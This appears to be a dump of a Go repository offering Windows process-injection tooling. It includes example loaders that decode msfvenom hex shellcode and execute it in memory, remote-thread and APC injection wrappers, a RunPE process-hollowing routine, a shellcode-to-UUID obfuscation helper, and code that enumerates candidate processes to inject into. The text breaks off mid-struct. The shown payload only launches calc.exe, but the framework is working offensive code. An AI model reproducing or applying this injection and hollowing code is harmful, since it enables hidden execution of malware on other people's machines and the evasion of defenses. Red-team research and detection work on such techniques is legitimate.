"fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500" 17 | 18 | sc, err := hex.DecodeString(payload) 19 | if err != nil { 20 | fmt.Printf("\nError decoding shellcode: %s\n", err) 21 | os.Exit(1) 22 | } 23 | 24 | // Reserve space to drop shellcode 25 | address := inject.VirtualAlloc(uintptr(0), len(sc), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) 26 | 27 | // Copy Data 28 | inject.RtlCopyMemory(address, sc) 29 | 30 | // Change Protection 31 | inject.VirtualProtect(address, len(sc), windows.PAGE_EXECUTE_READ) 32 | 33 | // Create thread 34 | thread := inject.CreateThread(address) 35 | 36 | // Wait for completion 37 | inject.WaitForSingleObject(thread, 0xFFFFFFFF) 38 | } 39 | -------------------------------------------------------------------------------- /examples/x86/valloc/valloc.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "os" 7 | 8 | "github.com/zaneGittins/go-inject/inject" 9 | 10 | "golang.org/x/sys/windows" 11 | ) 12 | 13 | func main() { 14 | 15 | // msfvenom -p windows/exec -ax86 CMD=calc.exe -f hex 16 | var payload string = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500" 17 | 18 | sc, err := hex.DecodeString(payload) 19 | if err != nil { 20 | fmt.Printf("\nError decoding shellcode: %s\n", err) 21 | os.Exit(1) 22 | } 23 | 24 | // Reserve space to drop shellcode 25 | address := inject.VirtualAlloc(uintptr(0), len(sc), 0x3000, windows.PAGE_EXECUTE_READWRITE) 26 | 27 | // Copy Data 28 | inject.RtlMoveMemory2(address, sc) 29 | 30 | // Change Protection 31 | inject.VirtualProtect(address, len(sc), windows.PAGE_EXECUTE_READ) 32 | 33 | // Create thread 34 | thread := inject.CreateThread(address) 35 | 36 | // Wait for completion 37 | inject.WaitForSingleObject(thread, 0xFFFFFFFF) 38 | } 39 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/zaneGittins/go-inject 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/gofrs/uuid v4.0.0+incompatible 7 | golang.org/x/sys v0.0.0-20200828194041-157a740278f4 8 | ) 9 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw= 2 | github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= 3 | golang.org/x/sys v0.0.0-20200828194041-157a740278f4 h1:kCCpuwSAoYJPkNc6x0xT9yTtV4oKtARo4RGBQWOfg9E= 4 | golang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 5 | -------------------------------------------------------------------------------- /helpers/shellcode-to-uuids.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | 7 | "github.com/zaneGittins/go-inject/inject" 8 | ) 9 | 10 | func main() { 11 | payload := os.Args[1] 12 | uuids := inject.ConvertToUUIDS(payload) 13 | for _, uuid := range uuids { 14 | fmt.Printf("\"%s\",\n", uuid) 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /inject/dll.go: -------------------------------------------------------------------------------- 1 | package inject 2 | 3 | import ( 4 | "golang.org/x/sys/windows" 5 | ) 6 | 7 | var ( 8 | ntdll = windows.NewLazySystemDLL("ntdll.dll") 9 | kernel32 = windows.NewLazySystemDLL("kernel32.dll") 10 | psapi = windows.NewLazySystemDLL("psapi.dll") 11 | rpcrt4 = windows.NewLazySystemDLL("Rpcrt4.dll") 12 | user32 = windows.NewLazySystemDLL("User32.dll") 13 | 14 | // NTDLL 15 | rtlCopyMemory = ntdll.NewProc("RtlCopyMemory") 16 | rtlMoveMemory = ntdll.NewProc("RtlMoveMemory") 17 | ntUnmapViewOfSection = ntdll.NewProc("NtUnmapViewOfSection") 18 | ntQueryInformationProcess = ntdll.NewProc("NtQueryInformationProcess") 19 | 20 | // KERNEL32 21 | createThread = kernel32.NewProc("CreateThread") 22 | virtualAlloc = kernel32.NewProc("VirtualAlloc") 23 | heapCreate = kernel32.NewProc("HeapCreate") 24 | heapAlloc = kernel32.NewProc("HeapAlloc") 25 | openProcess = kernel32.NewProc("OpenProcess") 26 | virtualAllocEx = kernel32.NewProc("VirtualAllocEx") 27 | virtualProtect = kernel32.NewProc("VirtualProtect") 28 | writeProcessMemory = kernel32.NewProc("WriteProcessMemory") 29 | createRemoteThread = kernel32.NewProc("CreateRemoteThread") 30 | closeHandle = kernel32.NewProc("CloseHandle") 31 | isWow64Process = kernel32.NewProc("IsWow64Process") 32 | waitForSingleObject = kernel32.NewProc("WaitForSingleObject") 33 | getProcAddress = kernel32.NewProc("GetProcAddress") 34 | getModuleHandleA = kernel32.NewProc("GetModuleHandleA") 35 | createToolhelp32Snapshot = kernel32.NewProc("CreateToolhelp32Snapshot") 36 | process32First = kernel32.NewProc("Process32First") 37 | process32Next = kernel32.NewProc("Process32Next") 38 | thread32First = kernel32.NewProc("Thread32First") 39 | thread32Next = kernel32.NewProc("Thread32Next") 40 | openThread = kernel32.NewProc("OpenThread") 41 | queueUserAPC = kernel32.NewProc("QueueUserAPC") 42 | enumSystemLocalesA = kernel32.NewProc("EnumSystemLocalesA") 43 | getCurrentThreadId = kernel32.NewProc("GetCurrentThreadId") 44 | setConsoleCtrlHandler = kernel32.NewProc("SetConsoleCtrlHandler") 45 | createProcessA = kernel32.NewProc("CreateProcessA") 46 | getThreadContext = kernel32.NewProc("GetThreadContext") 47 | readProcessMemory = kernel32.NewProc("ReadProcessMemory") 48 | setThreadContext = kernel32.NewProc("SetThreadContext") 49 | resumeThread = kernel32.NewProc("ResumeThread") 50 | loadLibraryA = kernel32.NewProc("LoadLibraryA") 51 | getThreadSelectorEntry = kernel32.NewProc("GetThreadSelectorEntry") 52 | wow64GetThreadSelectorEntry = kernel32.NewProc("Wow64GetThreadSelectorEntry") 53 | 54 | // PSAPI 55 | enumProcesses = psapi.NewProc("EnumProcesses") 56 | 57 | // rpcrt4 58 | uuidFromStringA = rpcrt4.NewProc("UuidFromStringA") 59 | 60 | // user32 61 | setWindowsHookExA = user32.NewProc("SetWindowsHookExA") 62 | getMessageW = user32.NewProc("GetMessageW") 63 | translateMessage = user32.NewProc("TranslateMessage") 64 | dispatchMessage = user32.NewProc("DispatchMessage") 65 | unhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx") 66 | postThreadMessage = user32.NewProc("PostThreadMessage") 67 | callNextHookEx = user32.NewProc("CallNextHookEx") 68 | findWindowA = user32.NewProc("FindWindowA") 69 | getWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId") 70 | ) 71 | -------------------------------------------------------------------------------- /inject/helpers.go: -------------------------------------------------------------------------------- 1 | package inject 2 | 3 | import ( 4 | "bytes" 5 | "debug/pe" 6 | "encoding/binary" 7 | "encoding/hex" 8 | "fmt" 9 | "math/rand" 10 | "os" 11 | "unicode/utf16" 12 | "unsafe" 13 | 14 | "github.com/gofrs/uuid" 15 | "golang.org/x/sys/windows" 16 | ) 17 | 18 | func SelectRandomElement(array []uint32) int { 19 | randomIndex := rand.Intn(len(array)) 20 | chosen := array[randomIndex] 21 | return int(chosen) 22 | } 23 | 24 | func Get64BitProcesses() []uint32 { 25 | fmt.Printf("\n[+] Listing running processes") 26 | 27 | processes, cbNeeded := EnumProcesses() 28 | 29 | var candidates []uint32 30 | for i := 0; i < int(cbNeeded); i++ { 31 | pid := processes[i] 32 | if pid == 0 && i > 0 { 33 | break 34 | } else if pid != uint32(os.Getpid()) { 35 | bitness := Is64Bit(pid) 36 | if bitness == 0 { 37 | candidates = append(candidates, pid) 38 | } 39 | } 40 | } 41 | fmt.Printf("\n[+] Number of process injection candidates: %d", len(candidates)) 42 | return candidates 43 | } 44 | 45 | func Is64Bit(pid uint32) int { 46 | 47 | pHandle, err := OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, pid) 48 | 49 | if err != windows.Errno(0) { 50 | bitness := IsWow64Process(pHandle) 51 | CloseHandle(pHandle) 52 | return int(bitness) 53 | 54 | } else { 55 | CloseHandle(pHandle) 56 | return -1 57 | } 58 | } 59 | 60 | func StringToCharPtr(str string) *uint8 { 61 | chars := append([]byte(str), 0) // null terminated 62 | return &chars[0] 63 | } 64 | 65 | func StringToUTF16Ptr(str string) *uint16 { 66 | wchars := utf16.Encode([]rune(str + "\x00")) 67 | return &wchars[0] 68 | } 69 | 70 | // SplitToWords - Splits a slice into multiple slices based on word length. 71 | func SplitToWords(array []byte, wordLen int, pad_incomplete bool) [][]byte { 72 | words := [][]byte{} 73 | for i := 0; i < len(array); i += wordLen { 74 | word := array[i : i+wordLen] 75 | 76 | if pad_incomplete && len(word) < wordLen { 77 | for j := len(word); j < len(word); j++ { 78 | word = append(word, 0) 79 | } 80 | } 81 | words = append(words, word) 82 | } 83 | return words 84 | } 85 | 86 | // SwapEndianness - Heavily inspired by code from CyberChef https://github.com/gchq/CyberChef/blob/c9d9730726dfa16a1c5f37024ba9c7ea9f37453d/src/core/operations/SwapEndianness.mjs 87 | func SwapEndianness(array []byte, word_len int, pad_incomplete bool) []byte { 88 | 89 | // Split into words. 90 | words := SplitToWords(array, word_len, pad_incomplete) 91 | 92 | // Rejoin into single slice. 93 | result := []byte{} 94 | for i := 0; i < len(words); i++ { 95 | for k := len(words[i]) - 1; k >= 0; k-- { 96 | result = append(result, words[i][k]) 97 | } 98 | } 99 | return result 100 | } 101 | 102 | // ConvertToUUIDS - converts a hex payload to a slice of UUID strings. 103 | func ConvertToUUIDS(payload string) []string { 104 | 105 | uuids := []string{} 106 | 107 | sc, _ := hex.DecodeString(payload) 108 | 109 | for i := 0; i < len(sc); i += 16 { 110 | 111 | fmt.Println([]byte(sc)[i : i+16]) 112 | 113 | leBytes1 := SwapEndianness([]byte(sc)[i:i+4], 4, false) 114 | leBytes2 := SwapEndianness([]byte(sc)[i+4:i+8], 4, false) 115 | 116 | fmt.Println(leBytes2) 117 | leBytes3 := append(leBytes2[2:4], leBytes2[0:2]...) 118 | 119 | leBytes := append(leBytes1, leBytes3...) 120 | leBytes = append(leBytes, []byte(sc)[i+8:i+16]...) 121 | fmt.Println(leBytes) 122 | 123 | uuid, err := uuid.FromBytes(leBytes) 124 | if err != nil { 125 | fmt.Println(err) 126 | } 127 | uuids = append(uuids, uuid.String()) 128 | } 129 | 130 | return uuids 131 | } 132 | 133 | // findRelocSec 134 | func findRelocSec(va uint32, secs []*pe.Section) *pe.Section { 135 | for _, sec := range secs { 136 | if sec.VirtualAddress == va { 137 | return sec 138 | } 139 | } 140 | return nil 141 | } 142 | 143 | /* RunPE64 - Heavily based on https://github.com/abdullah2993/go-runpe/blob/master/runpe.go 144 | there are still significant changes compared to original code. 145 | */ 146 | func RunPE64(payload []byte, target string, commandLine string) { 147 | 148 | // Create suspended process. 149 | _, _, PI, err := CreateProcessA(target, commandLine, 0, 0, 0, 0x00000004, 0, 0) 150 | 151 | processHandle := uintptr(PI.Process) 152 | threadHandle := uintptr(PI.Thread) 153 | 154 | // Get context of thread. 155 | var ctx *CONTEXT 156 | var cbuf [unsafe.Sizeof(*ctx) + 15]byte 157 | ctx = (*CONTEXT)(unsafe.Pointer((uintptr(unsafe.Pointer(&cbuf[15]))) &^ 15)) 158 | ctx.ContextFlags = CONTEXT_FULL 159 | 160 | err = GetThreadContext(threadHandle, ctx) 161 | if err != nil && err != windows.Errno(0) { 162 | fmt.Println(err) 163 | } 164 | 165 | // Get Base Address 166 | data := make([]byte, 8) 167 | _, err = ReadProcessMemory(processHandle, uintptr(ctx.Rdx+16), data, 8) 168 | if err != nil && err != windows.Errno(0) { 169 | fmt.Println(err) 170 | } 171 | 172 | baseAddress := uintptr(binary.LittleEndian.Uint64(data)) 173 | 174 | // Get headers of payload 175 | f, err := pe.NewFile(bytes.NewReader(payload)) 176 | if err != nil && err != windows.Errno(0) { 177 | fmt.Println(err) 178 | } 179 | 180 | optionalHeader, ok := f.OptionalHeader.(*pe.OptionalHeader64) 181 | if !ok { 182 | panic("OptionalHeader64 not found") 183 | } 184 | 185 | // Unmap current executable. 186 | _, err = NtUnmapViewOfSection(processHandle, baseAddress) 187 | if err != nil && err != windows.Errno(0) { 188 | fmt.Println(err) 189 | } 190 | 191 | // Allocate space for new executable. 192 | newImageBase := VirtualAllocEx2(processHandle, baseAddress, (uintptr)(optionalHeader.SizeOfImage), 0x00002000|0x00001000, 0x40) 193 | 194 | _, err = WriteProcessMemory2(processHandle, newImageBase, payload, optionalHeader.SizeOfHeaders) 195 | if err != nil && err != windows.Errno(0) { 196 | fmt.Println(err) 197 | } 198 | 199 | // Write sections (.text, etc). 200 | for _, section := range f.Sections { 201 | 202 | sectionData, err := section.Data() 203 | if err != nil && err != windows.Errno(0) { 204 | panic(err) 205 | } 206 | _, err = WriteProcessMemory2(processHandle, newImageBase+(uintptr)(section.VirtualAddress), sectionData, section.Size) 207 | if err != nil && err != windows.Errno(0) { 208 | fmt.Println(err) 209 | } 210 | } 211 | 212 | // Write new image base bytes. 213 | newImageBytes := make([]byte, 8) 214 | binary.LittleEndian.PutUint64(newImageBytes, uint64(newImageBase)) 215 | _, err = WriteProcessMemory2(processHandle, uintptr(ctx.Rdx+16), newImageBytes, 8) 216 | if err != nil && err != windows.Errno(0) { 217 | fmt.Println(err) 218 | } 219 | 220 | // Set RCX 221 | ctx.Rcx = uint64(newImageBase) + uint64(optionalHeader.AddressOfEntryPoint) 222 | 223 | // Update thread context. 224 | err = SetThreadContext(threadHandle, *ctx) 225 | if err != nil && err != windows.Errno(0) { 226 | fmt.Println(err) 227 | } 228 | 229 | err = ResumeThread(threadHandle) 230 | if err != nil && err != windows.Errno(0) { 231 | fmt.Println(err) 232 | } 233 | } 234 | -------------------------------------------------------------------------------- /inject/kernel32.go: -------------------------------------------------------------------------------- 1 | package inject 2 | 3 | import ( 4 | "fmt" 5 | "syscall" 6 | "unsafe" 7 | 8 | "golang.org/x/sys/windows" 9 | ) 10 | 11 | func CreateThread(startAddress uintptr) uintptr { 12 | 13 | thread, _, _ := createThread.Call(0, 0, startAddress, uintptr(0), 0, 0) 14 | return thread 15 | } 16 | 17 | func VirtualAlloc(address uintptr, size int, allocationType uint64, protect uint64) uintptr { 18 | 19 | addr, _, _ := virtualAlloc.Call(address, uintptr(size), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) 20 | return addr 21 | } 22 | 23 | func HeapCreate(options uint32, initialSize int, maximumSize uint32) uintptr { 24 | 25 | heap, _, _ := heapCreate.Call(uintptr(options), uintptr(initialSize), uintptr(maximumSize)) 26 | return heap 27 | } 28 | 29 | func HeapAlloc(heap uintptr, dwFlags uint32, dwBytes int) uintptr { 30 | 31 | allocatedMemory, _, _ := heapAlloc.Call(heap, uintptr(dwFlags), uintptr(dwBytes)) 32 | return allocatedMemory 33 | } 34 | 35 | func OpenProcess(desiredAccess uint32, inheritHandle uint32, processId uint32) (uintptr, error) { 36 | 37 | pHandle, _, err := openProcess.Call(uintptr(desiredAccess), uintptr(inheritHandle), uintptr(processId)) 38 | return pHandle, err 39 | 40 | } 41 | 42 | func VirtualAllocEx(process uintptr, address uintptr, length int, allocationType uint32, protect uint32) uintptr { 43 | 44 | memptr, _, _ := virtualAllocEx.Call(process, uintptr(address), uintptr(length), uintptr(allocationType), uintptr(protect)) 45 | return memptr 46 | } 47 | 48 | func VirtualAllocEx2(process uintptr, address uintptr, length uintptr, allocationType uint32, protect uint32) uintptr { 49 | 50 | memptr, _, _ := virtualAllocEx.Call(process, uintptr(address), uintptr(length), uintptr(allocationType), uintptr(protect)) 51 | return memptr 52 | } 53 | 54 | func WriteProcessMemory(process uintptr, baseAddress uintptr, buffer []byte) uint32 { 55 | 56 | var nbytes uint32 57 | writeProcessMemory.Call(uintptr(process), baseAddress, (uintptr)(unsafe.Pointer(&buffer[0])), uintptr(len(buffer)), uintptr(nbytes)) 58 | return nbytes 59 | } 60 | 61 | func WriteProcessMemory2(process uintptr, baseAddress uintptr, buffer []byte, length uint32) (uint32, error) { 62 | 63 | var nbytes uint32 64 | _, _, err := writeProcessMemory.Call(process, baseAddress, (uintptr(unsafe.Pointer(&buffer[0]))), uintptr(length), uintptr(unsafe.Pointer(&nbytes))) 65 | return nbytes, err 66 | } 67 | 68 | func CreateRemoteThread(process uintptr, threadAttributes uintptr, stackSize uint64, startAddress uintptr, paramater uintptr, creationFlags uint32, threadID uint32) { 69 | 70 | createRemoteThread.Call(uintptr(process), threadAttributes, uintptr(stackSize), startAddress, uintptr(paramater), uintptr(creationFlags), uintptr(threadID)) 71 | return 72 | } 73 | 74 | func CloseHandle(handle uintptr) { 75 | 76 | closeHandle.Call(handle) 77 | return 78 | } 79 | 80 | func IsWow64Process(handle uintptr) uint32 { 81 | var bitness uint32 82 | isWow64Process.Call(handle, uintptr(unsafe.Pointer(&bitness))) 83 | return bitness 84 | } 85 | 86 | func VirtualProtect(address uintptr, size int, newProtect uint32) uint32 { 87 | 88 | var oldProtect uint32 89 | virtualProtect.Call(address, uintptr(size), uintptr(newProtect), (uintptr)(unsafe.Pointer(&oldProtect))) 90 | return oldProtect 91 | } 92 | 93 | func WaitForSingleObject(thread uintptr, milliseconds uint32) { 94 | 95 | waitForSingleObject.Call(uintptr(windows.Handle(thread)), uintptr(milliseconds)) 96 | return 97 | } 98 | 99 | func GetProcAddress(module uintptr, procName string) uintptr { 100 | 101 | address, _, _ := getProcAddress.Call(module, uintptr(unsafe.Pointer(StringToCharPtr(procName)))) 102 | return address 103 | } 104 | 105 | func GetModuleHandleA(moduleName string) uintptr { 106 | 107 | handle, _, _ := getModuleHandleA.Call(uintptr(unsafe.Pointer(StringToCharPtr(moduleName)))) 108 | return handle 109 | } 110 | 111 | func CreateToolhelp32Snapshot(flags uint32, pid uint32) uintptr { 112 | handle, _, _ := createToolhelp32Snapshot.Call(uintptr(flags), uintptr(pid)) 113 | return handle 114 | } 115 | 116 | func Process32First(snapshot uintptr, processEntry *windows.ProcessEntry32) (uintptr, error) { 117 | 118 | result, _, err := process32First.Call(snapshot, (uintptr)(unsafe.Pointer(processEntry))) 119 | return result, err 120 | } 121 | 122 | func Process32Next(snapshot uintptr, processEntry *windows.ProcessEntry32) (uintptr, error) { 123 | 124 | result, _, err := process32Next.Call(snapshot, (uintptr)(unsafe.Pointer(processEntry))) 125 | return result, err 126 | } 127 | 128 | func Thread32First(snapshot uintptr, threadEntry *windows.ThreadEntry32) (uintptr, error) { 129 | 130 | result, _, err := thread32First.Call(snapshot, (uintptr)(unsafe.Pointer(threadEntry))) 131 | return result, err 132 | } 133 | 134 | func Thread32Next(snapshot uintptr, threadEntry *windows.ThreadEntry32) (uintptr, error) { 135 | 136 | result, _, err := thread32Next.Call(snapshot, (uintptr)(unsafe.Pointer(threadEntry))) 137 | return result, err 138 | } 139 | 140 | func OpenThread(desiredAccess uint32, inheritHandle uint32, threadId uint32) (uintptr, error) { 141 | 142 | tHandle, _, err := openThread.Call(uintptr(desiredAccess), uintptr(inheritHandle), uintptr(threadId)) 143 | return tHandle, err 144 | } 145 | 146 | func QueueUserAPC(pfnAPC *uintptr, tHandle uintptr) uint32 { 147 | result, _, _ := queueUserAPC.Call((uintptr)(unsafe.Pointer(&pfnAPC)), tHandle, 0) 148 | return uint32(result) 149 | } 150 | 151 | func EnumSystemLocalesA(lpLocaleEnumProc uintptr, dwFlags uint32) error { 152 | _, _, err := enumSystemLocalesA.Call(lpLocaleEnumProc, uintptr(dwFlags)) 153 | return err 154 | } 155 | 156 | func GetCurrentThreadId() (uint32, error) { 157 | result, _, err := getCurrentThreadId.Call() 158 | return uint32(result), err 159 | } 160 | 161 | func SetConsoleCtrlHandler(handlerRoutine HANDLER, add uint32) error { 162 | 163 | _, _, err := setConsoleCtrlHandler.Call(uintptr(syscall.NewCallback(handlerRoutine)), uintptr(add)) 164 | return err 165 | } 166 | 167 | func CreateProcessA(appName string, 168 | commandLine string, 169 | processAttributes uintptr, 170 | threadAttributes uintptr, 171 | inheritHandles uint32, 172 | creationFlags uint32, 173 | env uintptr, 174 | currentDir uintptr) (uint32, *syscall.StartupInfo, *syscall.ProcessInformation, error) { 175 | 176 | SI := new(syscall.StartupInfo) 177 | PI := new(syscall.ProcessInformation) 178 | 179 | result, _, err := createProcessA.Call(uintptr(unsafe.Pointer(StringToCharPtr(appName))), 180 | uintptr(unsafe.Pointer(StringToCharPtr(commandLine))), 181 | processAttributes, 182 | threadAttributes, 183 | uintptr(inheritHandles), 184 | uintptr(creationFlags), 185 | env, 186 | currentDir, 187 | uintptr(unsafe.Pointer(SI)), 188 | uintptr(unsafe.Pointer(PI)), 189 | ) 190 | return uint32(result), SI, PI, err 191 | } 192 | 193 | func GetThreadContext(hThread uintptr, ctx *CONTEXT) error { 194 | _, _, err := getThreadContext.Call(hThread, (uintptr)(unsafe.Pointer(ctx))) 195 | return err 196 | } 197 | 198 | func GetThreadContext32(hThread uintptr, ctx *WOW64_CONTEXT) error { 199 | _, _, err := getThreadContext.Call(hThread, (uintptr)(unsafe.Pointer(ctx))) 200 | return err 201 | } 202 | 203 | func ReadProcessMemory(process uintptr, baseAddress uintptr, buffer []byte, size uint32) (uint32, error) { 204 | 205 | var nbytes uint32 206 | _, _, err := readProcessMemory.Call(uintptr(process), baseAddress, (uintptr(unsafe.Pointer(&buffer[0]))), uintptr(size), uintptr(unsafe.Pointer(&nbytes))) 207 | return nbytes, err 208 | } 209 | 210 | func SetThreadContext(hThread uintptr, ctx CONTEXT) error { 211 | _, _, err := setThreadContext.Call(hThread, uintptr(unsafe.Pointer(&ctx))) 212 | return err 213 | } 214 | 215 | func ResumeThread(hThread uintptr) error { 216 | _, _, err := resumeThread.Call(hThread) 217 | return err 218 | } 219 | 220 | func LoadLibraryA(LibFileName string) (uintptr, error) { 221 | handle, _, err := loadLibraryA.Call(uintptr(unsafe.Pointer(StringToCharPtr(LibFileName)))) 222 | return handle, err 223 | } 224 | 225 | func GetThreadSelectorEntry(hThread uintptr, dwSelector uint32) (*LDT_ENTRY, error) { 226 | 227 | // lpSelectorEntry := new(LDT_ENTRY) 228 | 229 | var lpSelectorEntry LDT_ENTRY 230 | fmt.Println(hThread) 231 | 232 | res, _, err := getThreadSelectorEntry.Call(hThread, uintptr(dwSelector), uintptr(unsafe.Pointer(&lpSelectorEntry))) 233 | 234 | fmt.Println(lpSelectorEntry) 235 | fmt.Println(res) 236 | return &lpSelectorEntry, err 237 | } 238 | 239 | func Wow64GetThreadSelectorEntry(hThread uintptr, dwSelector uint32) (*LDT_ENTRY, error) { 240 | 241 | // lpSelectorEntry := new(LDT_ENTRY) 242 | 243 | var lpSelectorEntry LDT_ENTRY 244 | fmt.Println(hThread) 245 | 246 | res, _, err := wow64GetThreadSelectorEntry.Call(hThread, uintptr(dwSelector), uintptr(unsafe.Pointer(&lpSelectorEntry))) 247 | 248 | fmt.Println(lpSelectorEntry) 249 | fmt.Println(res) 250 | return &lpSelectorEntry, err 251 | } 252 | -------------------------------------------------------------------------------- /inject/ntdll.go: -------------------------------------------------------------------------------- 1 | package inject 2 | 3 | import ( 4 | "unsafe" 5 | ) 6 | 7 | func RtlCopyMemory(destination uintptr, source []byte) { 8 | 9 | rtlCopyMemory.Call(destination, (uintptr)(unsafe.Pointer(&source[0])), uintptr(len(source))) 10 | return 11 | } 12 | 13 | func RtlMoveMemory(source uintptr, length int) int { 14 | 15 | var destination int 16 | rtlMoveMemory.Call((uintptr)(unsafe.Pointer(&destination)), source, uintptr(length)) 17 | return destination 18 | } 19 | 20 | func RtlMoveMemory2(destination uintptr, source []byte) { 21 | 22 | rtlMoveMemory.Call(destination, (uintptr)(unsafe.Pointer(&source[0])), uintptr(len(source))) 23 | } 24 | 25 | func NtUnmapViewOfSection(processHandle uintptr, baseAddress uintptr) (uintptr, error) { 26 | r, _, err := ntUnmapViewOfSection.Call(processHandle, baseAddress) 27 | return r, err 28 | } 29 | 30 | func NtQueryInformationProcess(processHandle uintptr) (PROCESS_BASIC_INFORMATION, error) { 31 | 32 | var info PROCESS_BASIC_INFORMATION 33 | 34 | _, _, err := ntQueryInformationProcess.Call(uintptr(processHandle), 35 | uintptr(0), 36 | uintptr(unsafe.Pointer(&info)), 37 | uintptr(unsafe.Sizeof(info)), 38 | uintptr(0)) 39 | 40 | return info, err 41 | } 42 | -------------------------------------------------------------------------------- /inject/psapi.go: -------------------------------------------------------------------------------- 1 | package inject 2 | 3 | import "unsafe" 4 | 5 | func EnumProcesses() ([1024]uint32, uint32) { 6 | var processes [1024]uint32 7 | var cbNeeded uint32 8 | enumProcesses.Call((uintptr)(unsafe.Pointer(&processes)), uintptr(len(processes)), (uintptr)(unsafe.Pointer(&cbNeeded))) 9 | return processes, cbNeeded 10 | } 11 | -------------------------------------------------------------------------------- /inject/rpcrt4.go: -------------------------------------------------------------------------------- 1 | package inject 2 | 3 | import "unsafe" 4 | 5 | func UUIDFromStringA(uuidString string, uuid uintptr) (uintptr, error) { 6 | status, _, err := uuidFromStringA.Call(uintptr(unsafe.Pointer(StringToCharPtr(uuidString))), uuid) 7 | return status, err 8 | } 9 | -------------------------------------------------------------------------------- /inject/user32.go: -------------------------------------------------------------------------------- 1 | package inject 2 | 3 | import ( 4 | "syscall" 5 | "unsafe" 6 | ) 7 | 8 | 9 | func SetWindowsHookEx(idHook uint32, lpfn HOOKPROC, hmod uintptr, dwThreadID uint32) uintptr { 10 | 11 | result, _, _ := setWindowsHookExA.Call( 12 | uintptr(idHook), 13 | uintptr(syscall.NewCallback(lpfn)), 14 | uintptr(hmod), 15 | uintptr(dwThreadID), 16 | ) 17 | return result 18 | } 19 | 20 | func GetMessage(lpMsg uintptr, hWnd uintptr, wMsgFilterMin uint32, wMsgFilterMax uint32) (uint32, error) { 21 | result, _, err := getMessageW.Call(lpMsg, hWnd, uintptr(wMsgFilterMin), uintptr(wMsgFilterMax)) 22 | return uint32(result), err 23 | } 24 | 25 | func TranslateMessage(lpMsg uintptr) error { 26 | _, _, err := translateMessage.Call(lpMsg) 27 | return err 28 | } 29 | 30 | func DispatchMessage(lpMsg uintptr) error { 31 | _, _, err := dispatchMessage.Call(lpMsg) 32 | return err 33 | } 34 | 35 | func UnhookWindowsHookEx(hhk uintptr) error { 36 | _, _, err := unhookWindowsHookEx.Call(hhk) 37 | return err 38 | } 39 | 40 | func PostThreadMessage(idThread uint32, msg uint32, wparam uintptr, lparam uintptr) (uint32, error) { 41 | result, _, err := postThreadMessage.Call(uintptr(idThread), uintptr(msg), wparam, lparam) 42 | return uint32(result), err 43 | } 44 | 45 | func CallNextHookEx(hhook uintptr, nCode uint32, wparam uintptr, lparam uintptr) uintptr { 46 | result, _, _ := callNextHookEx.Call(hhook, uintptr(nCode), wparam, lparam) 47 | return result 48 | } 49 | 50 | func FindWindowA(lpClassName string) (uintptr, error) { 51 | 52 | result, _, err := findWindowA.Call(uintptr(unsafe.Pointer(StringToCharPtr(lpClassName))), uintptr(0)) 53 | return result, err 54 | } 55 | 56 | func GetWindowThreadProcessId(hwnd uintptr) (uint32, error) { 57 | 58 | var processID uint32 59 | _, _, err := getWindowThreadProcessId.Call(hwnd, (uintptr)(unsafe.Pointer(&processID))) 60 | return processID, err 61 | } 62 | -------------------------------------------------------------------------------- /inject/winapi.go: -------------------------------------------------------------------------------- 1 | package inject 2 | 3 | var ( 4 | TH32CS_SNAPPROCESS uint32 = 0x00000002 5 | TH32CS_SNAPTHREAD uint32 = 0x00000004 6 | THREAD_ALL_ACCESS uint32 = 0xffff 7 | CONTEXT_FULL uint32 = 0x400003 8 | CONTEXT_SEGMENTS uint32 = 0x04 9 | CONTEXt_ALL uint32 = 0xffffff 10 | ) 11 | 12 | type HOOKPROC func(int, uintptr, uintptr) uintptr 13 | 14 | type HANDLER func() uintptr 15 | 16 | type baseRelocEntry uint16 17 | 18 | func (b baseRelocEntry) Type() uint16 { 19 | return uint16(uint16(b) >> 12) 20 | } 21 | 22 | func (b baseRelocEntry) Offset() uint32 { 23 | return uint32(uint16(b) & 0x0FFF) 24 | } 25 | 26 | // https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context 27 | type XMM_SAVE_AREA32 struct { 28 | ControlWord uint16 29 | StatusWord uint16 30 | TagWord byte 31 | Reserved1 byte 32 | ErrorOpcode uint16 33 | ErrorOffset uint32 34 | ErrorSelector uint16 35 | Reserved2 